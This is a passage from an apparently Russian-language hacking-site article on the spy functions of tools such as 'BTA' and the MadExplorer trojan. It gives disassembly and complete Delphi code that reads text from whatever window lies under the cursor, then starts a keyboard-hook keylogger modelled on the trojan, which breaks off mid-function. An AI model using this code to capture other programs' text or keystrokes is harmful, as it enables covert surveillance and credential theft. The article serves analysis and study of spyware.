//Теперь получаем handle элемента, над которым находиться мышь.
:00401087 A104304000 mov eax, dword ptr [00403004]
:0040108C 50 push eax
:0040108D 8B0D00304000 mov ecx, dword ptr [00403000]
:00401093 51 push ecx
* Reference To: USER32.WindowFromPoint, Ord:02A9h
|
:00401094 FF1530204000 Call dword ptr [00402030]
// Посылаем сообщение handle’у.
:0040109A 6814304000 push 00403014
:0040109F 6800040000 push 00000400
:004010A4 6A0D push 0000000D
:004010A6 50 push eax
* Reference To: USER32.SendMessageA, Ord:0214h
|
:004010A7 FF152C204000 Call dword ptr [0040202C]
Сообщение 0000000D соответствует WM_GETTEXT. То есть данный вызов копирует содержимое элемента
в массив. Ну а с полученными данными можно делать всё что угодно (в том числе показать пользователю :)).
Вот исходник всего этого на Delphi:
…
var
…
h:integer;
…
procedure timer;
var c:array[1..255] of char;
p:tpoint;
handle:hwnd;
begin
GetCursorPos(p);
handle:=WindowFromPoint(p);
SendMessage(handle,WM_GETTEXT,sizeof(c),integer(@c));
Form1.Caption:=c;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
h:=settimer(handle,0,300,@timer);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
killtimer(handle,h);
end;
Ну вот и всё что касалось BTA. Теперь о MadExplorer’е. Это троян с кучей функций, среди которых
есть клавиатурный шпион, и опять же он реализован без Dll’ки. Обычно в таких программах делают
хук на WH_KEYBOARD и ловят все нажатия (о подобной реализации можно прочесть например на
хакере в статье «Клавиатурный шпион своими руками» (кстати советую, автор хороший кодер)).
Минусом этого шпиона можно считать наличие двух файлов и лишние телодвижения (такие как обработка
DllEntryPoint). Изучив код MadExplorer’а (приводить его здесь нет смысла, так как он очень большой) я
написал следующий пример:
…
var
…
h:hhook;
…
function Proc(
code:integer;
wParam:WPARAM;
lParam:LPARAM
):lresult;stdcall;
var c:array[0..255] of char;
nScan:integer;
Обсуждене
Отзывов нет на «Заметки о BTA dll»
Ваш отзыв